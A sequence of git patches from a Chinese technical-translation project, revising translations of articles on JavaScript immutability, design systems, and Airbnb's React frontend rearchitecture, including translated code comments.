+我们还可以使用 ES6 的[扩展语法](https://developer.mozilla.org/nl/docs/Web/JavaScript/Reference/Operators/Spread_operator)，来简化函数。
 
 ```
 const add = (arrayInput, value) => […arrayInput, value];
 ```
 
-### Concurrency ###
+### 并发
 
-NodeJS applications use a concept called concurrency. A concurrent operation means that two computations can both make progress regardless of the other. If there are two threads, the second computation doesn’t need to wait for the completion of the first one in order to advance.
+NodeJS 的应用有一个叫并发的概念，并发的操作是指两个计算可以同时的进行而不用管另外的一个。如果有两个线程，第二个的计算不需要等待第一个的完成。
 
 ![](https://cdn-images-1.medium.com/max/800/1*LS1VkNditQwYMJvtIPAhdg.png)
 
-Visualization of a concurrent operation
+可视化的并发操作
 
-NodeJS makes concurrency possible with the event-loop. The event-loop repeatedly takes an event and fires any event handlers listening to that event one at a time. This model allows a NodeJS application to process a huge amount of requests. If you want to learn more, read [this article about the event-loop](https://nodejs.org/en/docs/guides/event-loop-timers-and-nexttick).
+NodeJS 用事件循环机制使并发成为可能。事件循环循环重复接收事件，并对每个事件添加监听。这个模型允许 NodeJS 的应用处理大规模的请求。如果你想学习更多，读一下[这篇关于事件循环的文章](https://nodejs.org/en/docs/guides/event-loop-timers-and-nexttick)。
 
-What does immutability have to do with concurrency? Since multiple operations can change a value outside of the function’s scope in a concurrent way, this creates unreliable output and causes unexpected results. Be aware of a function that mutates variables outside of its scope, as this can be really dangerous.
+不可变性跟并发又有什么关系呢？由于多个操作可能并发的改变函数的作用域的值，这将会产生不可靠的输出和导致意向不到的结果。明确函数是否改变它作用域之外的值，因为这可能真的会很危险。
 
-### Next steps ###
+### 下一步
 
-Immutability is an important concept to understand on your journey to learn functional programming. You might want to take a look at [ImmutableJS](https://facebook.github.io/immutable-js), written by developers at Facebook. The library provides certain immutable data structures like **Map**, **Set**, and **List**.
+不可变性是你学习函数式编程中重要的概念。你也许想了解一下由 Facebook 开发者写的 [ImmutableJS](https://facebook.github.io/immutable-js)，这一个库提供正确的不可变数据结构比如说 **Map**、**Set**、和 **List**。
 
 [![](http://i2.muimg.com/1949/d4d40e047da813b5.png)](https://medium.com/@dtinth/immutable-js-persistent-data-structures-and-structural-sharing-6d163fbd73d2)
 
-Click the 💙 below so other people will see this article here on Medium. Thanks for reading.
+点击 💙 让更多的人可以在 Medium 上看见这篇文章，感谢阅读。
 
 ---
 
 > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。
+

From 7cc8cb636a0ced86550842a56ad206f24f76a63f Mon Sep 17 00:00:00 2001
From: yifili09 <yifili09@gmail.com>
Date: Fri, 19 May 2017 04:36:37 -0500
Subject: [PATCH 506/638] Add proofreaders' info and alter according to their
 comments

---
 TODO/boring-design-systems.md | 36 +++++++++++++++++------------------
 1 file changed, 18 insertions(+), 18 deletions(-)

diff --git a/TODO/boring-design-systems.md b/TODO/boring-design-systems.md
index 9a979426612..019628c939f 100644
--- a/TODO/boring-design-systems.md
+++ b/TODO/boring-design-systems.md
@@ -2,29 +2,29 @@
 > * 原文作者：[JOSH CLARK](https://bigmedium.com/about/josh-clark.html)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[Nicolas(Yifei) Li](https://github.com/yifili09)
-> * 校对者：
+> * 校对者：[SareaYu](https://github.com/SareaYu), [yzgyyang](https://github.com/yzgyyang)
 
-# 最激动人心的视觉系统其实是最枯燥乏味的! #
+# 最激动人心的视觉系统其实是最枯燥乏味的 #
 
 [![点击放大](https://bigmedium.com/bm.pix/normcore-lego-center.orig-250.jpg)](https://bigmedium.com/bm.pix/normcore-lego-center.jpg)
 
-让我们欢迎中性舒适的视觉系统
+让我们欢迎中性和舒适的视觉系统
     
 我们正在构建另一个企业级视觉系统，并且我们极力把它变得枯燥。
 
-[Brad Frost](http://bradfrost.com), [Dan Mall](http://superfriend.ly) 和我刚刚开始帮助一家大型企业快速设计一个视觉系统来管理支配他们众多的互联网产品。这家公司有着近 20 多年的数字产品的经验和大量的产品团队。长久以来，公司有关用户体验, 用户界面和用于巩固技术的接口已经疏于同步。我们的目标是赋予产品团队一个一致性的设计语言和模式库，它可以解决常见的视觉、用户体验和背后的技术问题。 
+[Brad Frost](http://bradfrost.com), [Dan Mall](http://superfriend.ly) 和我刚刚开始帮助一家大型企业在他们众多的互联网产品上设计一个视觉系统。这家公司有着近 20 多年的数字产品的经验和大量的产品团队。长久以来，公司有关用户体验，用户界面和用于巩固技术的接口已经疏于同步。我们的目标是赋予产品团队一个一致性的设计语言和模式库，它可以解决常见的视觉、用户体验和技术问题。 
 
-对于和这个项目类似的情况来说，它会让你忍不住要抛弃现有的内容，然后使用最新的设计组件全新开始。『 如果我们准备建立标准，』(此时) 恶魔会在你身边耳语道，『 那么，让我们彻底摆脱所有的旧牵绊。让我们用一个有着全新外观、时髦交互方式和闪耀的技术框架的新系统彻底结束它吧。』（或者我最爱说的：『 让我们自己来设计。』）
+和这个项目类似的情况来说，它会让你忍不住要抛弃现有的内容，然后使用最新的设计组件全新开始。『 如果我们准备建立标准，』(此时) 恶魔会在你身边耳语道，『 那么，让我们彻底摆脱所有的旧牵绊。让我们用一个有着全新外观、时髦交互方式和闪耀的技术框架彻底结束它吧。』（或者我最爱说的：『 让我们自己来设计。』）
 
-视觉系统工程师应该抵住新事物的诱惑。不要把系统设计的工作和重塑或者技术栈的检查相混淆。系统设计的模式应该很相似，甚至是枯燥乏味的。
+视觉系统工程师应该抵住新事物的诱惑，不要把系统设计的工作和重塑或者技术栈的检查相混淆。系统设计的模式应该很相似，甚至是枯燥乏味的。
 
 这份工作不是发明，而是策划。
 
 ## 已经解决的问题和已解决的科学 ##
 
-设计系统包含了机构内的知识。他们提供了针对设计问题的设计方案，这些解决方案都已经过测试和验证。当这些解决方案被统一的视觉语言和用户体验指导方案组合的时候，它们就代表了组织机构或者平台应该有的良好设计。
+设计系统包含了机构内的常用知识。他们为设计中的问题提供了已经进过测试和验证的解决方案。当这些解决方案被统一的视觉语言和用户体验指导方案组合的时候，它们就代表了组织机构或者平台应该有的良好设计。
 
-对于和这个类似的项目来说，我们**一次一次地**和客户端合作伙伴一起协作来确定他们团队的设计问题直到他们满意。之后，确定和提出对这些问题的最优解决方案。
+对于和这个类似的项目来说，我们**一次一次地**和客户端合作伙伴一起来确定他们团队的设计问题直到他们满意。之后，确定和提出对这些问题的最优解决方案。
 
 问题越常见越好。设计系统应该优先考虑常见的东西。
 
@@ -32,29 +32,29 @@
 
 [![点击放大](https://bigmedium.com/bm.pix/lego-office.orig-250.jpg)](https://bigmedium.com/bm.pix/lego-office.jpg)
 
-痛点在哪里？ 我们正尝试从设计师和开发人员处定位这些重复的任务。
+痛点在哪里？我们正尝试从设计师和开发人员处定位这些重复的任务。
     
-这个工作从很多用户调研开始，和其他产品一样。我们直面公司的程序员，设计师和产品经理们来定位重复的任务和发掘重复制造的轮子。我们进行了对该公司网络产品的深度研究并尝试找到应对这些问题的最优解决方案。我们也对该公司不一致的视觉风格列出清单，并开始重新强化一个通用的视觉语言。
+和其他产品一样，这个工作从很多用户调研开始。我们直面公司的程序员、设计师和产品经理们来识别重复的任务和发掘重复使用的方法。我们进行了对该公司网络产品的深度研究并尝试找到应对这些问题的最优解决方案。我们也对该公司不一致的视觉风格列出清单，并开始重新强化一个通用的视觉语言。
 
 在这个流程的最后，我们将会为该公司最**有利**的商业解决方案制作一个设计的参考。其中会包含很多干货而非那些看似有用的知识。它会很有用。
 
-## 创新性的设计来自于那些 『 枯燥 』 的设计 ##
+## 创新性的设计来自于那些 『枯燥』 的设计 ##
 
 当设计系统很枯燥乏味的时候，它能释放设计师和开发人员做更多新的东西，去解决新的问题。**设计系统解决了乏味的事情，所以设计师和开发人员就不用操心了。**
 
-不必第 15 次的重复设计卡片的样式，因为它已经被实现了。产品团队能够把时间和精力放到如何创建新的体验，新的算法和新的商业逻辑上。
+不必第 15 次的重复设计卡片的样式，因为它已经被实现了。产品团队应该把时间和精力放到如何创建新的体验、新的算法和新的商业逻辑上。
 
 [![点击放大](https://bigmedium.com/bm.pix/scientist.orig-250.jpg)](https://bigmedium.com/bm.pix/scientist.jpg)
 
 当设计系统消减了了那些枯燥问题的时候，那些设计师和开发人员们才能放手去从事新技术和高阶的问题。
     
-这也意味着一个不错的设计系统比能提供很多按钮、颜色板和样例代码做的更多。这些组件都是常见的。奇妙的事情是伴随着他们出现在指导手册中。一个伟大的设计系统会对某些特定情况建议使用哪个设计模式（连同为什么和怎么做一起）。这将仅聚合用户接口组件推向了一个完整的设计模式。设计师对每天公司日常的问题都有了现成的解决方案。
+这也意味着一个不错的设计系统比能提供很多按钮、颜色板和样例代码做的更多。这些组件都是常见的。奇妙的事情是伴随着他们出现在指导手册中。一个伟大的设计系统会对某些特定情况建议使用哪个设计模式（连同为什么和怎么做一起）。这将集合的用户接口组件推向了一个成熟的设计模式。设计师对每天公司日常的问题都有了现成的解决方案。
 
 『 任何时候考虑，比如 「 这里应该展示一个弹出窗口还是提示框？」这类问题都是浪费时间。』这是一位设计经理在这个最近项目上的调研过程中告诉我们的。
 
 ## 更快，更快 ##
 
-所有这些都能带来速度上大大的提升。[Big Medium 公司](https://bigmedium.com) 帮助一个重要的零售商搭建并且运行起了他们的设计系统，并且结果出人意料。『 相比之前的工作，我们的速度提升了 10 倍，』团队经理如实汇报道，『 也就是说，我们能仅用四分之一的员工完成 10 倍的高质量的工作。』
+所有这些都能带来速度上大的提升。[Big Medium 公司](https://bigmedium.com) 帮助一个重要的零售商搭建并且运行起了他们的设计系统，并且结果出人意料。『 相比之前的工作，我们的速度提升了 10 倍，』团队经理如实汇报道，『 也就是说，我们能仅用四分之一的员工完成 10 倍的高质量的工作。』
 
 [![点击放大](https://bigmedium.com/bm.pix/before-after-design-system.orig-250.png)](https://bigmedium.com/bm.pix/before-after-design-system.png)
 
@@ -64,7 +64,7 @@
 
 有些设计师和开发人员常常小心谨慎地对待设计系统或者模式库。尽管大部分人重视一致性的需求，但他们担心一个设计系统会太过教条和有限制性，这会阻碍创新。『 设计系统就好像公共交通工具: 对其他人来说，它是一个好主意。』一位百感交集的设计师如是说道。
 
-产品团队应做正确的事，尽管如此，设计系统其实是鼓励创新的。设计师和开发人员能依赖它创建、提高，也可以偶尔替换设计系统中的建议。
+设计系统其实是鼓励产品团队创新，这应当是正确的。设计师和开发人员能依赖它创建、提高，也可以偶尔替换设计系统中的建议。
 
 它应该是一个良性循环。新的理念应该在新的产品上进行尝试和测试验证。当好想法被证明是可行的时候，它们应该被采纳并且加入进设计系统中，以便未来的产品能获益。这些最新的解决方案都会赫然变成新常态。
 
@@ -89,15 +89,15 @@
 
 在 Dan 的暗喻中，你公司的设计系统就是你的设计正典。其他人公布、创建的应用程序和那些新的设计模式都基于它（比如，『 衍生的宇宙 』）。其中的有些设计模式将会是很有用出的，并且与你公司好的设计步调一致，它们也会变成正典。
 
-这就是设计系统和量产产品之间的良性循环。如果你是一位设计系统的经理，你将会成为这个故事中的 `George Lucas`。当然你将需要更加谦虚。 
+这就是设计系统和量产产品之间的良性循环。如果你是一位设计系统的经理，你将会成为这个故事中的 George Lucas 。当然你将需要更加谦虚。 
 
 ## 谦卑的工作 ##
 
-成功的设计系统不断为许多设计师、开发人员、产品经理、当然也少不了终端用户服务。
+成功的设计系统不断为许多设计师、开发人员和产品经理，当然也少不了终端用户服务。
 
 这种服务精神意味着设计系统的维护者们切勿浮想联翩，需要握紧手中的线。一个设计系统不是崇尚前沿科技的地方，而是汇集成功解决方案的地方。
 
-打造一个设计系统是为其他人的创新和猜想扫清道路。那就意味着枯燥乏味的内容永远不会变得令人兴奋。
+打造一个设计系统是为其他人的创新和猜想扫清道路。那就意味着枯燥乏味的内容从未如此令人兴奋。
 
 
 **你的机构是否在全力对付不一致性的接口和重复的设计工作？ Big Medium 帮助大型企业通过设计系统规划大型设计。需要工作讨论会、执行会议或者让我们参与设计，[请联系我们](https://bigmedium/com/hire)**

From b0837b90a72a000b0fca6c07018fc7fcf93899c7 Mon Sep 17 00:00:00 2001
From: yifili09 <yifili09@gmail.com>
Date: Sun, 21 May 2017 23:30:52 -0500
Subject: [PATCH 507/638] hope to be finalized

---
 TODO/boring-design-systems.md | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/TODO/boring-design-systems.md b/TODO/boring-design-systems.md
index 019628c939f..0a043a2d9b2 100644
--- a/TODO/boring-design-systems.md
+++ b/TODO/boring-design-systems.md
@@ -12,7 +12,7 @@
     
 我们正在构建另一个企业级视觉系统，并且我们极力把它变得枯燥。
 
-[Brad Frost](http://bradfrost.com), [Dan Mall](http://superfriend.ly) 和我刚刚开始帮助一家大型企业在他们众多的互联网产品上设计一个视觉系统。这家公司有着近 20 多年的数字产品的经验和大量的产品团队。长久以来，公司有关用户体验，用户界面和用于巩固技术的接口已经疏于同步。我们的目标是赋予产品团队一个一致性的设计语言和模式库，它可以解决常见的视觉、用户体验和技术问题。 
+[Brad Frost](http://bradfrost.com), [Dan Mall](http://superfriend.ly) 和我刚刚开始帮助一家大型企业在他们众多的互联网产品上设计一个视觉系统。这家公司有着近 20 多年的数字产品的经验和大量的产品团队。长久以来，公司有关用户体验、用户界面和用于巩固技术的接口已经疏于同步。我们的目标是赋予产品团队一个一致性的设计语言和模式库，它可以解决常见的视觉、用户体验和技术问题。 
 
 和这个项目类似的情况来说，它会让你忍不住要抛弃现有的内容，然后使用最新的设计组件全新开始。『 如果我们准备建立标准，』(此时) 恶魔会在你身边耳语道，『 那么，让我们彻底摆脱所有的旧牵绊。让我们用一个有着全新外观、时髦交互方式和闪耀的技术框架彻底结束它吧。』（或者我最爱说的：『 让我们自己来设计。』）
 
@@ -22,13 +22,13 @@
 
 ## 已经解决的问题和已解决的科学 ##
 
-设计系统包含了机构内的常用知识。他们为设计中的问题提供了已经进过测试和验证的解决方案。当这些解决方案被统一的视觉语言和用户体验指导方案组合的时候，它们就代表了组织机构或者平台应该有的良好设计。
+设计系统包含了机构内的常用知识。他们为设计中的问题提供了已经过测试和验证的解决方案。当这些解决方案被统一的视觉语言和用户体验指导方案组合的时候，它们就代表了组织机构或者平台应该有的良好设计。
 
 对于和这个类似的项目来说，我们**一次一次地**和客户端合作伙伴一起来确定他们团队的设计问题直到他们满意。之后，确定和提出对这些问题的最优解决方案。
 
 问题越常见越好。设计系统应该优先考虑常见的东西。
 
-此时此刻，我们优先考虑数据入口，表单的验证和信息传递。这些并不是完美的设计体验，但是它们却是每个公司业务的重中之重，也是客户们花费时间最多的地方。这也是为什么枯燥乏味的事情却令人兴奋的地方：你如何对每天的设计更好的扩展且保证一致性？
+此时此刻，我们优先考虑数据入口、表单的验证和信息传递。这些并不是完美的设计体验，但是它们却是每个公司业务的重中之重，也是客户们花费时间最多的地方。这也是为什么枯燥乏味的事情却令人兴奋的地方：你如何对每天的设计更好的扩展且保证一致性？
 
 [![点击放大](https://bigmedium.com/bm.pix/lego-office.orig-250.jpg)](https://bigmedium.com/bm.pix/lego-office.jpg)
 

From 9d5925ad2765e3827f4863d361adb5f21c0ab110 Mon Sep 17 00:00:00 2001
From: sunxinlei <sunxinlei@gpdata.cn>
Date: Mon, 22 May 2017 18:51:00 +0800
Subject: [PATCH 508/638] =?UTF-8?q?=E5=88=9D=E7=A8=BF=E5=AE=8C=E6=88=90?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/rearchitecting-airbnbs-frontend.md | 130 ++++++++++++------------
 1 file changed, 66 insertions(+), 64 deletions(-)

diff --git a/TODO/rearchitecting-airbnbs-frontend.md b/TODO/rearchitecting-airbnbs-frontend.md
index 86b5f0bfa97..d6fe13c91b0 100644
--- a/TODO/rearchitecting-airbnbs-frontend.md
+++ b/TODO/rearchitecting-airbnbs-frontend.md
@@ -6,7 +6,7 @@
 
 # Airbnb 的前端重构 #
 
-概述：最近，我们重新思考了 Airbnb 代码库中 JavaScript 端的架构。本文将讨论：（1）催生一些变化的产品驱动因素，（2）摆脱遗留的 Rails 解决方案的一些步骤，（3）一些新技术栈的关键性支柱。彩蛋：我们将讨论接下来要做的事。
+概述：最近，我们重新思考了 Airbnb 代码库中 JavaScript 端的架构。本文将讨论：（1）催生一些变化的产品驱动因素，（2）我们如何一步步摆脱遗留的 Rails 解决方案，（3）一些新技术栈的关键性支柱。彩蛋：我们将讨论接下来要做的事。
 
 
 Airbnb 每天接收超过 7500 万次搜索，这使得搜索页面成为我们流量最高的页面。近十年来，工程师们一直在发展、加强、和优化 Rails 输出页面的方式。
@@ -30,39 +30,39 @@ Airbnb 每天接收超过 7500 万次搜索，这使得搜索页面成为我们
 
 再标签页之间切换的未来概念，考虑异步加载内容
 
-要开发这种类型的体验，我们需要摆脱传统的页面切换方法，最后我们结束了对我们的前端代码的基本重构。
+要开发这种类型的体验，我们需要摆脱传统的页面切换方法，最终我们兴奋地全面重构了前端代码。
 
-[Leland Richardson](https://medium.com/@intelligibabble) [最近在 React Conf 大会上发表了关于 React Native 的存在于高访问量 native 应用中的“褐色地带”。 ](https://www.youtube.com/watch?v=tWitQoPgs8w)。这篇文章将会探讨如何在类似的约束下进行强制性升级，不过是在 web 端。如果你遇到类似的情况，希望对你有帮助。
+[Leland Richardson](https://medium.com/@intelligibabble) [最近在 React Conf 大会上发表了关于 React Native 的存在于高访问量 native 应用中的“褐色地带”。 ](https://www.youtube.com/watch?v=tWitQoPgs8w)这篇文章将会探讨如何在类似的约束下进行强制性升级，不过是在 web 端。如果你遇到类似的情况，希望对你有帮助。
 
 ### 从 Rails 之中解脱 ###
 
 在我们的烧烤开火之前，因为我们的线路图上存在所有有趣的[渐进式 web 应用](https://developers.google.com/web/progressive-web-apps/)（WPA）,我们需要从 Rails 中解脱出来（或者至少在 Airbnb 用 Rails 提供单独页面的这种方式）。
 
-不幸的是，就在几个月前，我们的搜索页还包含一些非常老旧的代码，像指环王一样，碰它就要小心自负后果。有趣的事实：我曾尝试用一个简单的 React 组件替换一个 Rails presenter 备份过的小巧的 [Handlebars](http://handlebarsjs.com/) 模板，突然很多完全不相关的部分都崩掉了——甚至 API 响应都除了问题。原来，presenter 正在改变后备 Rails 模式，多年来即使在 UI 没有渲染的时候，它也影响着所有的下游数据。
+不幸的是，就在几个月前，我们的搜索页还包含一些非常老旧的代码，像指环王一样，触碰它就要小心自负后果。有趣的事实：我曾尝试用一个简单的 React 组件替换一个 Rails presenter 备份过的小巧的 [Handlebars](http://handlebarsjs.com/) 模板，突然很多完全不相关的部分都崩掉了——甚至 API 响应都除了问题。原来，presenter 改变了后备 Rails 模型，多年来即使在 UI 没有渲染的时候，它也影响着所有的下游数据。
 
-简而言之，我们在这个项目中，像 Indiana Jone 用灵魂交换一袋沙子，突然间寺庙开始崩溃，我们正在从一块巨石上跑。
+简而言之，我们在这个项目中，像 Indiana Jone 用自己的宝物交换了一袋沙子，突然间庙宇开始崩塌，我们正在从石块中奔跑。
 
 
 
 #### 第 1 步： 调整 API 数据 ####
 
-When Rails is server-rendering your page, you can get away with throwing data at your server-rendered React components any way you like. Controllers, helpers, and presenters can produce data of any shape, and even as you migrate sections of the page to React, each component can consume whatever data it requires.
+当使用 Rails 在服务器端渲染页面时，你可以用任何你喜欢的方式把数据丢给服务器端的 React 组件。Controllers、helpers 和 presenters 能生成任何形式的数据，甚至当你把部分页面迁移到 React 时，每个组件都能处理它所需的任何数据。
 
-But once you endeavor to render the route client-side, you need to be able to request the data you need dynamically and in a predetermined shape. In the future, we may crack this problem with something like [GraphQL](http://graphql.org/), but let’s set that aside for now, as it wasn’t an option when this refactor took place. Rather, we chose to align on a “v2” of our API, and we needed all our components to begin consuming that canonical data shape.
+但一旦你想渲染客户端路由，你需要能够以预定的形式动态请求所需的数据。将来我们可能用类似 [GraphQL](http://graphql.org/) 的东西解决这个问题，但是现在暂且把它放到一边吧，因为这件事和重构代码没太大关系。相反，我们选择在我们的 API 的 “v2” 上进行调整，我们需要我们所有的组件来开始处理规范的数据格式。
 
-If you find yourself in similar waters with a large application, you might find as we did that planning for the migration of existing server-side data plumbing was the easy part. Simply step through any place Rails is rendering a React component, and ensure that data inputs are API shapes. You can further validate compliance with API V2 shapes used as React PropTypes on the client.
+如果你发现你自己和我们情况类似并且是一个大型的应用，你可能发现我们像我们这样做，规划迁移现有的服务器端数据管道是很容易的。简单地在任何地方用 Rails 渲染一个React组件，并确保数据输入是 API 所规定的类型。你可以用客户端的 React PropTypes 来进一步验证数据类型是否与 API v2 一致。
 
-The tricky bit for us was working with all the teams who interact with the guest booking flow: our Business Travel, Growth, and Vacation Rentals teams; our China and India market-specific teams, Disaster Recovery…the list goes on, and we needed to reeducate all these folks that even though it was technically possible to pass data directly to the component being rendered (“yes, I understand it’s just an experiment, but…”), *all data* needs to go through the API.
+对我们来说棘手的问题是和那些参与客户预定流程交互的团队协作：商业旅游、发展、度假租赁团队；中国和印度市场团队，灾难恢复团队...等等，我们需要重新培训所有这些人，即使在技术上可以将数据直接传递到正在呈现的组件上("是的，我明白，这仅仅是一种实验，但是...")，所有的数据都要通过 API。
 
 #### 第 2 步： 非 API 数据: 配置、试验、惯用语、本地化、 国际化… ####
 
-There is a separate class of data from what we would think of as API data, and it includes application config, user-specific experiment assignment, internationalization, localization, and similar concerns. Over the years, Airbnb has built up some incredible tooling to support all these functions, but the mechanisms for delivering them to the Frontend were a bit under-baked (or possibly fully-baked when built, before the ground began shifting under foot!).
+有一类独特的数据和我们设想的 API 化的数据不同，包括应用配置，用户试验任务，国际化，本地化等等类似的问题。近年来，Airbnb 已经建立了一套难以置信的工具来支持这些功能，但是把这些数据传送到前端的机制就不那么令人愉快了（在革命开始之前，或许就已经很蹩脚了！）。
 
-We use [Hypernova](https://www.npmjs.com/package/hypernova) to server-render React, but before we went deep on this refactor, it was a bit nebulous whether experiment delivery in a React component would blow up during server-rendering or if string translations available on the client would all be reliably available on the server. Critically, if the server and client output don’t match to the bit, the page not only flashes the diff but also re-renders the entire page after load, which is terrible for performance.
+我们使用 [Hypernova](https://www.npmjs.com/package/hypernova) 来服务端渲染 React，但是在我们此次重构深入之前，无论服务端渲染时 React 组件中的试验交付会不会爆发或者客户端上提供的字符串转换是否都可以在服务器上可靠地使用，这些都还有点模糊。最重要的是，如果服务器和客户端输出匹配不到位，页面不仅会不断闪烁刷新 diff，还可以在加载后重新渲染整个页面，这对于性能来说很可怕。
 
-Worse yet, we had some magical Rails functions written long ago, for instance `add_bootstrap_data(key, value)`, which could ostensibly be called anywhere in Rails to make data available on the client globally via `BootstrapData.get(key)`(though, again, not necessarily for Hypernova). What began as a helpful utility for a small team became a source of untraceable witchcraft for a large application and team. The “data laundering” crimes became increasingly tricky to unwind, as each team owns a different page or feature, and therefore each team cultivated a different mechanism for loading config, each suiting their unique needs.
+更糟糕的是，我们有很久以前写过一些神奇的 Rails 功能，比如 `add_bootstrap_data(key, value)` 表面上可以在 Rails 中的任何地方调用，通过 `BootstrapData.get(key)` 使数据在客户端的全局可用（再次强调，对 Hypernova 来说已经不必要了）。这作为小团队的一个实用程序开始成为对大团队和应用来说不可溯源的巫术。由于每个团队拥有不同的页面或功能，因此“数据清洗”变得越来越棘手，因此每个团队都会培养出一种不同的加载配置的机制，以满足其独特需求。
 
-Clearly, this was already breaking down, so we converged on a canonical mechanism for bootstrapping non-API data, and we began migrating all apps/pages to this handoff between Rails and React/Hypernova.
+显然，这已经崩溃了，所以我们融合了一个用于引导非 API 数据的规范机制，我们开始将所有应用程序和页面迁移到 Rails 和 React/Hypernova 之间的这种切换。
 
 ```
 import React, { PropTypes } from 'react';
@@ -114,14 +114,14 @@ function withHypernovaBootstrap(App) {
         userAttributes,
       } = props;
 
-      // clear out bootstrap data on the server to avoid leaking data
+      // 清除服务器上的引导数据，以避免泄露数据
       if (!global.document) {
         BootstrapData.clear();
       }
       BootstrapData.extend(bootstrapData);
       ImagePaths.extend(images);
 
-      // It is not safe to call L10n.init with empty object in tests
+      // 在测试中用空对象调用 L10n.init 是不安全的
       if (i18nInit) {
         L10n.init(i18nInit);
       }
@@ -144,10 +144,10 @@ function withHypernovaBootstrap(App) {
     }
 
     render() {
-      // Ideally, we only want to pass through bootstrapData. If you have redux or alt data from
-      // the server to bootstrap, you can actually pass that data as a key in bootstrapData.
-      //
-      // Other props are consumed and not passed to the app.
+      // 理想情况下，我们只想传输 bootstrapData
+      // 如果你有从 redux 或 alt 数据 从服务端到 bootstrap
+      // 你当然可以只传输一个在 bootstrapData 中的 key
+      // 其他属性被处理但是不会传入应用
       return <App bootstrapData={this.props.bootstrapData} />;
     }
   }
@@ -163,42 +163,43 @@ function withHypernovaBootstrap(App) {
 export default compose(withPhrases, withHypernovaBootstrap);
 ```
 
-A canonical higher order component for bootstrapping non-API data
+用于引导非 API 数据规范的更高阶的组件
 
-This higher order component does two very important things:
 
-1. It receives a canonical shape of bootstrap data as a Plain Old JavaScript Object, and initializes all the supporting tooling correctly both for server-rendering and client-rendering identically.
-2. It swallows everything except `bootstrapData`, another simple object which we expect `<App>`to load into Redux to be used by children as needed (in place of `BootstrapData.get`).
+这个更高阶的组件做了两件更重要的事情：
 
-In a single shot, we eliminated `add_bootstrap_data` and prevented engineers from passing arbitrary keys through to top level React components. Order was restored to the shire, and before long we were navigating to routes dynamically in the client and rendering content of material complexity without Rails to prop it up (pun intended).
+1. 它接收一个引导数据作为普通的旧对象的规范形式，并且正确地初始化所有支持的工具，用于服务器渲染和客户端渲染。
+2. 它吞噬除了一切除了 `bootstrapData` ，它是另一个简单的对象，必要时把 `<App>` 组件传入 Redux 作为 children 使用。
+
+单纯来看，我们删除了 `add_bootstrap_data`，并阻止工程师将任意键传递到顶级的 React 组件。秩序被重新恢复，以前我们在客户端中动态地导航到路由，并且渲染材料复杂的 content，而不需要Rails来支持它。
 
 ### 进击的前端 ###
 
-Server rework in hand, we now turn our gaze to the client.
+服务端的重构已经有了头绪，现在我们把目光转向客户端。
 
 #### 懒加载的单页面应用 ####
 
-Gone are the days, friends, of the monster Single Page App (SPA) with a gruesome loading spinner on initialization. This dreaded loading spinner was the objection many folks raised when we pitched the idea of client-side routing with React Router.
+那段日子已经过去了，朋友们，初始化时带着可怕 loading 的巨型单页面应用（SPA）已经不复存在了。当我们提出用 React Router 做客户端路由的方案时，可怕的 loading 是很多人提出拒绝的理由。
 
 ![](https://cdn-images-1.medium.com/max/800/1*O2fK16vfyWaDT-IR61drPw.png)
 
-Lazy loading of route bundles in the Chrome Timeline
+在 chrome Timeline 中 route 包的懒加载
 
-But if you look above, you’ll see the impact of [code-splitting](https://webpack.github.io/docs/code-splitting.html) and [lazy-loading](https://webpack.js.org/guides/lazy-load-react/) bundles by route. In essence, we server render the page and deliver just the bare minimum JavaScript required to make it interactive in the browser, then we begin proactively downloading the rest when the browser is idle.
+但是，如果你看到上面的内容，你就会发现[代码分割](https://webpack.github.io/docs/code-splitting.html) 和[延迟加载](https://webpack.js.org/guides/lazy-load-react/) 捆绑路由的影响。实质上，我们是在服务端渲染的页面并且仅仅传输最低限度的一部分用于在浏览器端交互的 Javascript 代码，然后我们利用浏览器的空余时间主动下载其余部分。
 
-On the Rails side, we have one controller for all routes delivered via the SPA. Each action is simply responsible for (1) making whatever API request the client would have made on client-side navigation, then (2) bootstrapping that data to Hypernova along with config. We went from thousands of lines of Ruby code per action (between the controller, helpers, and presenters) down to ~20–30 lines. Yahtzee.
+在 Rails 端，我们有一个 controller 用于通过 SPA 交付的所有路由。每一个 action 只负责：（1）出发客户端导航中的一切请求，（2）将数据和配置引导到 Hypernova。我们把每个 action （controller、helpers 和 presenters 之间）上千行的 Ruby 代码缩减到 20-30 行。实力碾压。
 
-But it’s not just code that is noticeably different…
+但这不仅仅是代码的不同...
 
 ![](https://cdn-images-1.medium.com/max/800/1*EpKNHdS4Xzl9fRdGekUgEA.gif)
 
-Side-by-side comparison fetching Homes for Tokyo: Legacy page load vs client-side routing (4–5x difference)
+两种方式加载东京主页的对比（4-5 倍的差距）
 
-…now transitions between routes are smooth as butter and a step change (~5x) faster, and we can break ground on the animations featured at the beginning of this post.
+...现在页面间的过渡像奶油般顺滑，并且这一步大幅提升了速度（约 5 倍）。而且我们我们可以实现文章开头的那张动画特性。
 
 #### 异步组件 ####
 
-Prior to React, we would render an entire page at a time, and this practice carried over into our early React days. But we use an AsyncComponent similar to [this](https://medium.com/@thejameskyle/react-loadable-2674c59de178) as a way to load sections of the component hierarchy after mount.
+之前的 React ，我们需要一次渲染整个页面，我们以前的 React 都是这么做的。但现在我们使用异步组件，类似[这种](https://medium.com/@thejameskyle/react-loadable-2674c59de178)方式， mount 以后加载组件层次结构的部分。
 
 ```
 export default class AsyncComponent extends React.Component {
@@ -217,7 +218,7 @@ export default class AsyncComponent extends React.Component {
 
   render() {
     const { Component } = this.state;
-    // `loader` prop unused. It is extracted so we don't pass it down to wrapped component
+    // `loader` 属性没有被使用。 它被提取，所以我们不会将其传递给包装的组件
     // eslint-disable-next-line no-unused-vars
     const { renderPlaceholder, placeholderHeight, loader, ...rest } = this.props;
     if (Component) {
@@ -232,17 +233,17 @@ export default class AsyncComponent extends React.Component {
 
 
 AsyncComponent.propTypes = {
-  // specifically loader is a function that returns a promise. The promise
